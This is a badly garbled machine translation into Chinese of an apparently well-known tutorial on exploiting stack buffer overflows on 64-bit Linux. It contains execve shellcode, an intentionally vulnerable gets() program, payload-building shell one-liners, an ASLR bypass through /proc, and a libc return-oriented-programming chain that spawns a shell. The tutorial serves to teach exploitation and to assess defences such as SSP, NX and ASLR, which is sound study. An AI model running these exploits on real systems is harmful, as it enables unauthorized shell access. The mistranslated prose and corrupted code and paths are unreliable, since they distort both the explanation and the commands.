更新:Dongli Zhang报告较新的Linux版本以不同的方式组织堆栈。下面的代码需要相应修改。
没有人是完美的。特别不是程序员。有些日子,我们花了一半的时间我们在另一半制作的错误。那就是我们幸运的时候:经常,一个微妙的虫子被嘲笑进入野外,我们只学习易碎的巨大灾难。
一些灾难是偶然的。例如,在触发被忽视的逻辑错误所需的精确条件下,Mightresult的不幸事件连锁术中可能是故意的。就像在复杂规则的迷宫中滥用税收漏洞的会计师一样,攻击者可能会发现一个错误,然后利用它接管许多计算机。
因此,现代系统与安全功能为设计的超级泄露者提供的安全功能。例如,这些保障措施可能会隐藏重要信息,或者在检测机构行为后立即停止执行程序。
可执行空间保护是一个这样的防御。不幸的是,它是攻击性的防御。在本指南中,我们展示了如何使用称为ReturnieDrogramming的技术来旨在将可执行的SpaceProt调整为64位Linux。
我们开始通过编写程序集通过execvesystem调用来启动shell的旅程。
对于向后兼容性,64-Bitlinux支持32位Linux系统调用,因此我们可能会认为我们可以重用针对32位系统的ShellCode。但是,EXECVE SYSCALL占据程序的NUL-TRADIDINGNAME的内存地址应该被执行。我们的shellcode可能会注入一下,要求我们引用大于32位的内存地址.Thus我们必须使用64位系统调用。
int main(){asm(" \ needle0:jmp with \ n \ ni ne:pop%rdi \ n \ xor%rax,%rax \ n \ movb $ 0x3b,%al \ n \ xor%RSI,% RSI \ n \ xor%rdx,%rdx \ n \ syscall \ n \ n \ with:呼叫这里\ n \ .string \" / bin / sh \" \ n \ preedle1:.octa 0xdeadbeef \ n \");}
无论在内存我们的代码时,Call-Pop技巧会将RDI注册到" / bin / sh&#34的地址;细绳。
针头0和针1标签是稍后有助于搜索;所以0xDeadBeef常数是(虽然x86是小endian,但它将显示为ef为ad de,后跟4个零字节)。
为简单起见,我们不正确地使用API;第二和第三areguctsto执行应该指向NULL终止指针ToStrings阵列(argv []和envp [])。但是,我们的系统宽恕:运行" / bin / sh" null argv和envp成功:
$ objdump -d a.out | SED -N' /针0 /,/针头1 / P' 00000000004004BF<针0&gt ;: 4004bf:EB 0e 2 4004cf<这里&gt ;: 4004c1:5f pop%rdi 4004c2:48 31 C0 XOR%rax,%rax 4004c5:b0 3b mov $ 0x3b,%al 4004c7:48 31 f6 xor%RSI,%RSI 4004ca:48 31d2 XOR%RDX,%RDX 4004CD:0F 05 SYSCALL0000000000004004CF<其中&gt ;: 4004CF :E8 ED FF FF FF CALLQ 4004C1<此处> 4004D4:2F(坏)4004D5:62(坏)4004D6:69 6E 2F 73 68 00 EF IMUL $ 0xEF006873,0x2F(%RSI),%EBP00000000004004DC<针1&gt ;:
在64位系统上,代码段通常位于0x400000,因此在二进制文件中,我们的代码在偏移0x4bf以偏移0x4bf开始,并在Offoffset 0x4DC之前完成。这是29个字节:
我们将此达到下一个倍数为8以获得32,然后运行:
#include< stdio.h> int main(){char name [64];放("什么'你的名字?");得到(姓名); printf(" hello,%s!\ n",姓名);返回0;}
由于X86系统的CDECL呼叫约定,如果我们输入一个真正的字符串,我们将溢出名称缓冲区,并覆盖returnaddress。输入shellcode后跟右字节,程序在尝试从主要功能返回时运行它。
唉,堆栈粉碎这些时代更难。我的股票Ubuntu 12.04安装,有3个对策:
GCC Stack-Smashing Protector(SSP),AKA Propolice:编译器重新排列堆栈布局,使缓冲区溢出较少危险并插入运行时堆栈完整性检查。
可执行空间保护(NX):尝试在堆栈中执行代码会导致分段错误。这项功能通过许多名称,例如, Windows上的数据执行预防(DEP),或在BSD上写入XOR执行(W ^ x)。我们在此处调用它,因为64位Linux使用CPU的NX位("切勿执行")实现此功能。
地址空间布局随机化(ASLR):堆栈的位置每次运行都随机化,因此即使我们可以覆盖返回地址,我们也不知道将其放在那里。
#include< stdio.h> int main(){char name [64]; printf("%p \ n"名称); //打印缓冲区地址。放("什么'你的名字?");得到(姓名); printf(" hello,%s!\ n",姓名);返回0;}
$((cat shellcode; printf%080d 0; echo $ a)| xxd -r -p; cat)| setarch` arch` -r ./victim
shellcode占用缓冲区的前32个字节。 ThePrintF中的80个零代表40个零字节,其中32个填充缓冲区的其余部分,并且其余8覆盖RBP寄存器的保存位置。接下来的8 overwrite返回地址,并指向缓冲区的开头,从何处shellcode谎言。
点击几次,然后输入" ls"确认我们确实是ina运行的shell。没有提示,因为标准输入由CAT提供,而不是终端(/ dev / tty)提供。
只是为了好玩,我们会绕道而行并查看ASLR。在过去,您可以通过查看/ proc / pid / stal来阅读任何进程的ESP注册。 Thisleak很久以前插了。 (如今,一个过程可以在纯粹的过程上间谍,否则它有权允许Ptrace()。)
让我们假装我们在一个未被淘汰的系统上,因为它更加令人满意而不禁止。此外,我们看到首先是被修补的重要性,以及为什么aslrneeds保密以及随机性。
因此,虽然受害者程序正在等待用户输入,但它是Stack Pointeris 0x7FFFFFE038。我们计算与该指针到NameBuffer的距离:
我们现在武装偏移,我们需要在旧系统上击败ASLR。使用ASLR重新启用运行受害者程序:
$ sp =`ps - no-header -c progrest -o esp` $ a =`printf%016x $((0x7fff $ sp + 88))| TAC -R -S..` $((cat shellcode; printf%080d 0;回声$ a)| xxd -r -p; cat)> pip
重新编译受害者程序而不运行execstack命令。通过运行,重新激活可执行空间保护:
尝试如上所述攻击此二进制文件。我们的努力被挫败了,只要Propram跳到了堆栈中的注入的shellcode。整个区域都被标记为nonexecutable,所以我们被关闭了。
以返回返回的编程灵巧地偏信这种防御。经典的bufferoverflow inspoit用我们想要运行的代码填充缓冲区; Return-OrientEdProgramment(RESOREDPRAGGUMMING)填充了带有代码络部片段的地址的缓冲区来运行,将堆栈指针转换为一种间接的指令点。
代码片段从可执行内存中处理:例如,它们是libc的碎片。因此,NX位无力阻止我们。更多详细信息:
我们从SP开始指向一系列地址的开始。 RET指令踢掉了东西。
忘记从子程序返回的通常含义。相反,关注其影响:Ret跳转到SP保持的内存位置的地址,并递增8(在64位系统上)。
我们的使命是用&#34致电Libc系统()函数; / bin / sh"作为杆头。我们可以通过调用分配所选值tordi的小工具来执行此操作,然后跳转到系统()libc函数。
我的系统有一个32位和64位libc。我们想要64位;这是列表中的那零。
虽然指针到" / bin / sh"位于堆栈的顶部。这将在推进堆栈指针之前将指针指向到RDI。相应的机器代码是两个字节序列0x5f 0xC3,其在Libc中的某处发生。
可悲的是,我知道没有广泛的Linux工具,可以搜索一个文件的一个文件的一个字节;大多数工具似乎面向文本文件,并期望他们的纽扣组织。 (我提醒抢劫派克的"结构规范抑制")
$ xxd -c1 -p /llib/x86_64-linux-gnu/libc.so.6 | grep-n -b1 c3 | grep 5f-m1 | awk' {printf"%x \ n",$ 1-1}' 22a12
寻找" c3",并与匹配一起打印一行领先的上下文。我们还打印了行号。
由于行号从1开始,偏移开始从0开始,我们必须减去1以从前者那里得到后者。此外,我们希望十六进制中的地址。要求awk将第一个参数视为一个数字(由于减法)方便地删除数字后的所有字符,即" -5f"那个grep输出。
然后在执行下一个ret指令时,程序将弹出&#34的地址; / bin / sh"由于第一个小工具进入RDI,然后跳转到系统功能。
$ pid =`ps -c受害者-o pid --no-headers | TR -D' '`$ grep libc / proc / $ pid / maps7aff7a1d000-7fff7bd0000 r-xp 00000000 08:05 7078182 /llib/x86_64-linux-gnu/libc-2.15.so7ffff7bd0000-7ffff7dcf000 --- p 001b3000 08:05 7078182 /llib/86_64-linux-gnu/libc-2.15.so7ffff7dcf000-7ffff7dd3000 r - p 001b2000 08:05 7078182 /lib/x86_64-linux-gnu/libc-2.15.so7ffff7dd3000-7ffff7dd5000 rw-p 001b6000 08:05 7078182 / lib / x86_64-linux-gnu / libc-2.15.so
因此,Libc以0x7ffff7a1d000开始加载到存储器中。这给出了救助的第一成分:小工具的地址是0x7ffff7a1d000 + 0x22a12。
接下来我们想要" / bin / sh"在记忆中的某个地方。我们可以同样地进行脚步,并在缓冲区的开头放置此字符串。从之前,它的地址是0x7FFFFFFFE090。
$(echo -n / bin / sh | xxd -p; printf%0130d 0; printf%016x $((0x7ffff7a1d000 + 0x22a12))| tac -rs ..; printf%016x 0x7fffffffe090 | tac -rs ..; printf% 016x $((0x7ffff7a1d000 + 0x44320))| TAC -RS ..)| XXD -R -P | setarch` arch` -r ./victim
点击几次,然后输入一些命令以确认这是一个shell。
这次有130个0s,XXD变成了65个零个字节。这种情况不足以覆盖&#34之后的其余缓冲区; / bin / sh"除了ThePushed的RBP寄存器,使我们覆盖的下一个位置是堆栈的顶部。
在我们的简短冒险中,普罗尔尼是最好的防守。它试图将ArraySto移动到堆栈的最高部分,因此可以通过溢出它们来实现较少.Aditionally,它在阵列的末端处置于阵列的末尾,该值被称为金丝雀。如果大公者受到伤害,它会在返回停止指令之前插入检查。我们不得不完全禁用普牛犬开始。
ASLR还捍卫我们的攻击,只要有足够的熵,随机性保持秘密。这实际上是相当棘手的。我们看到豪索系统通过/ proc泄露了信息泄露了信息。一般来说,攻击者已经设计了巧妙的方法来学习隐藏的地址。
最后,最少,我们有可执行的空间保护。事实证明,它被生动了。那么如果我们不能在堆栈中运行代码怎么办?我们将简单地指向其他地方的代码并运行它!我们使用了libc,但一般来说,通常有一些代码语料库我们可以raid。例如,研究人员组织了一个具有广泛可执行空间保护的投票机,将自己的代码反对它。
ASLR需要与许多缔约方的合作。程序和图书馆必须在随机地址中加载。必须插入信息泄漏。
有人一定是想到的,因为它现在如此普遍。现在是时候问:是可执行的空间保护值得删除吗?可执行空间保护比什么都好吗?
我们刚看到它是多么微观,缝合在一起的现有Codeto做我们肮脏的工作。我们几乎没有划伤表面:只有几个小工具,任何计算都是可能的。此外,还有工具,用于将输入语言转换为ofddresses系列的小工具,以及将输入语言转换为一系列的编译器,可用于毫无疑问的不可执行的堆栈。令人畏缩的攻击者可能忘记可执行空间保护偶数。
因此,我认为可执行空间保护比没有更糟糕。可以从高成本和低利益,它从数据中隔离代码。抢劫派克这件事:
这在面对图灵和冯诺伊曼的理论面前,这将综合杂于储存程序计算机的基本原则。代码和dataare相同,或者至少可以。
可执行空间保护干扰了自修改的代码,该代码是可用于准时编译的,以及奇迹般地呼吸新的LifeInto古老的呼叫约定在石头上设置。
在一个描述如何为C的函数添加到C的论文中,尽管它是简单的呼叫约定和薄指针,Thomas Breuel观察:
然而,有些架构和/或操作系统禁止在运行时生成和执行代码的程序。我们认为这一限制是任意的,并考虑它的硬件或软件设计差。诸如规划语言的实现,例如,LISP或SmallTalk可以从运行时快速生成或修改代码的能力显着地受益。
非常感谢Hovav Shacham,他们先发制人归来以返回的编程为我的注意力。他共同撰写了全面介绍了以Toreturn为导向的编程。此外,请参阅如何返回返回的编程的技术细节。
我们专注于特定的攻击。对于其他种类的攻击,我们遇到的防御可能是无效的。例如,ASLR的堆叠喷涂很难。
以返回返回的编程是返回libc攻击的概括,该攻击调用库函数而不是小工具。在32位Linux中,Thec Calling Aructory有用,因为参数通过堆栈传递:我们需要做的只是钻机堆栈,以便堆叠我们的参数和地址库函数。执行时,我们正在商业。
但是,64位C呼叫约定与64位系统关联的相同,除了RCX占R10的位置,并且可能存在超过6个参数(任何额外的附件以左右左右排列在堆栈上) .Flowing缓冲区仅允许我们控制堆栈的内容,而不是寄存器,并不复杂返回libc攻击。
正如建造者在完成摩天大楼后取出脚手架一样,我省略了GDB会话,帮助我沿途。你认为我有没有第一次完美地利用字节?我希望!
说到哪些,我差不多确定我从来没有用调试器调试!我只用它们在装配中编程,调查一副我缺少来源,现在,对于缓冲区溢出漏洞。 Fromlinus Torvalds的报价来找:
我不喜欢调试器。从来没有,可能永远不会。我使用GDB所有轮动,但我倾向于使用它不是调试器,而是作为您可以编程的反汇编扬声器。
最有效的调试工具仍然是谨慎的想法,与明智地放置的打印陈述耦合。
我不确定,如果我会写GDB,因为已经存在了很多指南。如果现在,我将列出一些选择命令:
GDB有助于确定代码,尽管当禁用ASLR时,位置瘙痒与Shell的选择略微不同。
Ben Lynn [email protected]💡